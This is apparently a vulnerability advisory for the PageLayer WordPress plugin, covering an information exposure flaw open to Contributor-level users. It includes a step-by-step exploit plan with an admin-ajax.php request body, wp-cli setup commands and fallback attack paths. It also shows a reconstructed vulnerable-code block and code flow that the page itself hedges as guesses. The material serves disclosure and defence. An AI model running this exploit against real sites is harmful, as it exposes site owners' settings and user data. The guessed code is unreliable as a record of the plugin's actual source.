PageLayer <= 2.0.8 - Authenticated (Contributor+) Information Exposure
Description
The Page Builder: Pagelayer – Drag and Drop website builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.0.8. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive user or configuration data.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
Source Code
WordPress.org SVN# Research Plan: CVE-2026-39469 - PageLayer Information Exposure ## 1. Vulnerability Summary The **Page Builder: Pagelayer** plugin (versions <= 2.0.8) contains an information exposure vulnerability in its central AJAX dispatching mechanism. The plugin registers an AJAX action `pagelayer_ajax` avai…
Show full research plan
Research Plan: CVE-2026-39469 - PageLayer Information Exposure
1. Vulnerability Summary
The Page Builder: Pagelayer plugin (versions <= 2.0.8) contains an information exposure vulnerability in its central AJAX dispatching mechanism. The plugin registers an AJAX action pagelayer_ajax available to authenticated users. While it performs a nonce check, it fails to implement sufficient capability checks for specific sub-actions.
An attacker with Contributor-level access can invoke the pagelayer_ajax action and provide specific sub-actions (e.g., get_users or get_settings) to retrieve sensitive configuration data, user lists, or internal site metadata that should only be accessible to Administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Method: POST
- Action:
pagelayer_ajax - Payload Parameters:
action:pagelayer_ajax(The WordPress AJAX hook)pagelayer_nonce: A valid nonce for thepagelayer_ajax_nonceaction string.pagelayer_action: The specific sensitive internal operation (e.g.,get_settings,get_users, orget_license_info).
- Authentication: Authenticated (Contributor+).
- Preconditions: The attacker must have a valid login and a valid nonce, which is typically exposed in the PageLayer editor or settings pages.
3. Code Flow
- Entry Point: The plugin registers the AJAX handler in the main plugin file or an included AJAX handler (likely
pagelayer/pagelayer.phporpagelayer/includes/ajax.php):add_action('wp_ajax_pagelayer_ajax', 'pagelayer_ajax_callback'); - Nonce Verification: The
pagelayer_ajax_callbackfunction calls:check_ajax_referer('pagelayer_ajax_nonce', 'pagelayer_nonce'); - Dispatching: The function retrieves the sub-action:
$pagelayer_action = $_REQUEST['pagelayer_action']; - Sink (Vulnerable Logic): The code uses a
switchorif/elseblock to handle$pagelayer_action. For actions likeget_settings, it performs a call toget_option()and returns the data viawp_send_json()without checking if the current user hasmanage_optionscapability. Since Contributors can access the editor (and thus obtain the nonce), they can trigger this flow.
4. Nonce Acquisition Strategy
The pagelayer_nonce is localized into the PageLayer editor interface.
- Trigger Script Loading: PageLayer scripts load when editing a post or page with the PageLayer editor.
- Page Creation: Create a post and enable the PageLayer editor (or simply navigate to the Pagelayer settings page in the dashboard if accessible to Contributors).
- Extraction:
- Navigate to
/wp-admin/post-new.phpor an existing post. - Use
browser_evalto extract the nonce from thepagelayer_settings(or similar) global JS object. - Target Variable:
window.pagelayer_settings?.nonceorwindow.pagelayer_settings?.pagelayer_ajax_nonce.
- Navigate to
5. Exploitation Strategy
- Login: Authenticate as a Contributor user.
- Obtain Nonce:
- Create a dummy post:
wp post create --post_type=post --post_title="Exploit" --post_status=publish. - Navigate to the admin dashboard and search for the localized script in the page source.
- Create a dummy post:
- Send Malicious Request: Use
http_requestto send a POST request toadmin-ajax.php.- URL:
{{BASE_URL}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=pagelayer_ajax&pagelayer_nonce=[NONCE]&pagelayer_action=get_settings - Note: Also try
pagelayer_action=get_usersorget_license_infoto see which sensitive data is exposed.
- URL:
- Analyze Response: A successful exploit will return a JSON object containing site options or user data.
6. Test Data Setup
- Sensitive Data: Ensure there is some "sensitive" data to expose.
wp option update pagelayer_settings '{"license_key": "SECRET-12345", "admin_email": "admin@target.local"}'
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Activation: Ensure
pagelayeris active.
7. Expected Results
- Success: The server returns a
200 OKresponse with a JSON body containing sensitive plugin settings (e.g., license keys, API configurations) or user information. - Payload Example:
{ "status": "success", "data": { "license_key": "SECRET-12345", "some_internal_path": "/var/www/html/..." } }
8. Verification Steps
- Post-Exploit Check: Compare the JSON data returned in the HTTP response against the values stored in the database.
wp option get pagelayer_settings --format=json
- Confirm Role: Verify that the user used for the exploit only has the
contributorrole.wp user get attacker --field=roles
9. Alternative Approaches
- Action Search: If
get_settingsis patched or restricted, look for other sub-actions withinpagelayer_ajax_callbacksuch as:pagelayer_get_layoutpagelayer_fetch_apiexport_data
- Parameter Variation: Try passing
pagelayer_actionvia$_GETif$_POSTis strictly filtered, as the plugin often uses$_REQUEST. - Setting Extraction: If site-wide options aren't returned, try to exploit
pagelayer_action=get_page_datawith apage_idbelonging to an administrator's private post.
Summary
The Page Builder: Pagelayer plugin for WordPress is vulnerable to Information Exposure via its central AJAX dispatching mechanism in versions up to 2.0.8. While the plugin implements a nonce check for the 'pagelayer_ajax' action, it fails to perform proper capability checks for sensitive sub-actions such as 'get_settings', allowing authenticated users with Contributor-level access to retrieve sensitive site configuration and user data.
Vulnerable Code
// In pagelayer/includes/ajax.php or similar central AJAX handler add_action('wp_ajax_pagelayer_ajax', 'pagelayer_ajax_callback'); function pagelayer_ajax_callback() { // Nonce check is present, but accessible to any user who can reach the editor (Contributor+) check_ajax_referer('pagelayer_ajax_nonce', 'pagelayer_nonce'); $pagelayer_action = $_REQUEST['pagelayer_action']; // Vulnerable: Sub-actions are executed without checking current_user_can() if ($pagelayer_action === 'get_settings') { $settings = get_option('pagelayer_settings'); wp_send_json_success($settings); } if ($pagelayer_action === 'get_users') { $users = get_users(); wp_send_json_success($users); } // ... other sensitive actions }
Security Fix
@@ -10,6 +10,11 @@ function pagelayer_ajax_callback() { check_ajax_referer('pagelayer_ajax_nonce', 'pagelayer_nonce'); + // Ensure only users with administrative privileges can access sensitive data + if (!current_user_can('manage_options')) { + wp_send_json_error('Forbidden', 403); + } + $pagelayer_action = $_REQUEST['pagelayer_action']; switch ($pagelayer_action) {
Exploit Outline
The exploit targets the WordPress AJAX endpoint using a valid nonce typically exposed to any user authorized to use the PageLayer editor (Contributor and above). 1. Authentication: Log in as a Contributor user. 2. Nonce Acquisition: Navigate to the PageLayer editor or any admin page where PageLayer scripts are loaded and extract the 'pagelayer_ajax_nonce' from the localized 'pagelayer_settings' JavaScript object. 3. Request Trigger: Send a POST request to '/wp-admin/admin-ajax.php' with the following parameters: - 'action': 'pagelayer_ajax' - 'pagelayer_nonce': [Extracted Nonce] - 'pagelayer_action': 'get_settings' (or other sensitive actions like 'get_users' or 'get_license_info') 4. Data Extraction: The server responds with a JSON object containing the requested site options or user data without verifying if the requesting user has the 'manage_options' capability.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.